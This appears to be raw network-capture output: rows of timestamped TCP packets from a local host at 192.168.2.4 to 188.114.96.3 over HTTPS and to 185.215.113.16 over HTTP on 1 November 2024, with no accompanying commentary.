Nov 1, 2024 08:50:03.272578955 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.272593021 CET	49730	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.272600889 CET	443	49730	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.340171099 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.340226889 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.340313911 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.340620995 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.340636969 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.947258949 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.947386026 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.948663950 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.948676109 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.948914051 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:03.950083971 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.950115919 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:03.950155020 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408446074 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408485889 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408507109 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408539057 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408550024 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.408565998 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408576012 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408602953 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.408612967 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.408616066 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408623934 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.408658981 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.408668995 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.460665941 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.460674047 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.507519960 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.524496078 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524563074 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524600029 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.524606943 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524707079 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524750948 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.524756908 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524946928 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.524996996 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.525064945 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.525079012 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.525088072 CET	49731	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.525091887 CET	443	49731	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.632723093 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.632783890 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:04.632858038 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.633136034 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:04.633153915 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:05.246295929 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:05.246398926 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:05.247698069 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:05.247714043 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:05.247945070 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:05.249275923 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:05.249414921 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:05.249449015 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:05.249517918 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:05.249527931 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.286391020 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.286478996 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.286541939 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.286674023 CET	49732	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.286696911 CET	443	49732	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.373313904 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.373426914 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.373605967 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.373872995 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.373908043 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.995714903 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.995799065 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.997145891 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.997185946 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.997441053 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:06.998768091 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.998878956 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:06.998923063 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:07.737643003 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:07.737737894 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:07.737798929 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:07.737941027 CET	49733	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:07.737957954 CET	443	49733	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:07.954936981 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:07.954983950 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:07.955065012 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:07.955374002 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:07.955384016 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:08.561203957 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:08.561309099 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:08.601090908 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:08.601115942 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:08.601396084 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:08.613430023 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:08.613537073 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:08.613569975 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:08.613652945 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:08.613660097 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:09.247606993 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:09.247720957 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:09.247802019 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:09.251579046 CET	49734	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:09.251597881 CET	443	49734	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:09.457389116 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:09.457457066 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:09.457540989 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:09.457873106 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:09.457905054 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.063556910 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.063644886 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.064922094 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.064933062 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.065174103 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.066380978 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.066471100 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.066482067 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.505259991 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.505364895 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.505419970 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.506377935 CET	49735	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.506391048 CET	443	49735	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.952613115 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.952653885 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:10.952735901 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.953031063 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:10.953048944 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.570542097 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.570630074 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.571949005 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.571963072 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.572211027 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.573647976 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.574420929 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.574459076 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.574557066 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.574594975 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.574693918 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.574734926 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.574871063 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.574898958 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.575041056 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.575068951 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.575215101 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.575239897 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.575251102 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.575392008 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.575423956 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.584789991 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.584964991 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.584990978 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.585001945 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.585017920 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.585027933 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.585144043 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.585180044 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.585220098 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.589772940 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:11.589824915 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:11.635327101 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.075489044 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.075586081 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.075643063 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.075803995 CET	49736	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.075817108 CET	443	49736	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.116225004 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.116271019 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.116353989 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.116668940 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.116687059 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.715301991 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.715364933 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.716588020 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.716595888 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.716841936 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:15.718288898 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.718310118 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:15.718368053 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:16.225855112 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:16.225958109 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:16.226037025 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:16.226408005 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:16.226425886 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:16.226452112 CET	49737	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:50:16.226459980 CET	443	49737	188.114.96.3	192.168.2.4
Nov 1, 2024 08:50:16.227688074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:16.233063936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:16.233186960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:16.233298063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:16.238152027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156363010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156397104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156408072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156419992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156478882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156488895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156492949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.156492949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.156543970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156554937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156560898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156560898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.156569958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.156616926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.156656981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.161458969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.161478996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.161490917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.161501884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.161566973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.161566973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.161689997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.210690022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.315790892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.315809011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.315821886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.315834045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.315906048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.315912008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.315912008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.316005945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316101074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.316215038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316267014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316284895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316323996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.316482067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316534996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316551924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.316565990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316580057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316597939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316610098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.316663027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.316663027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.317425966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317481041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317492962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317518950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317523003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.317523003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.317533970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317549944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.317585945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.318264961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.318275928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.318294048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.318305969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.318336010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.318365097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.474967957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475141048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475152016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475162029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475173950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475184917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475202084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475228071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475259066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475323915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475378036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475384951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475395918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475406885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475444078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475651026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475706100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475716114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475728035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475774050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475785017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.475817919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.475819111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476138115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476150036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476160049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476187944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476332903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476383924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476394892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476445913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476445913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476460934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476471901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476489067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476512909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476537943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476548910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476561069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.476594925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.476594925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.477296114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477349043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477360010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477402925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.477433920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477444887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477456093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477468014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.477509022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.477509022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478007078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478032112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478044033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478065968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478076935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478104115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478104115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478127003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478147030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478157997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478168964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478182077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.478218079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478238106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.478950977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.479018927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.479031086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.479053020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.479075909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.479109049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634337902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634355068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634370089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634382010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634393930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634429932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634453058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634457111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634463072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634511948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634531021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634599924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634620905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634701014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634711981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634751081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634756088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634762049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634778976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634790897 CET	80	49738	185.215.113.16	192.168.2.4
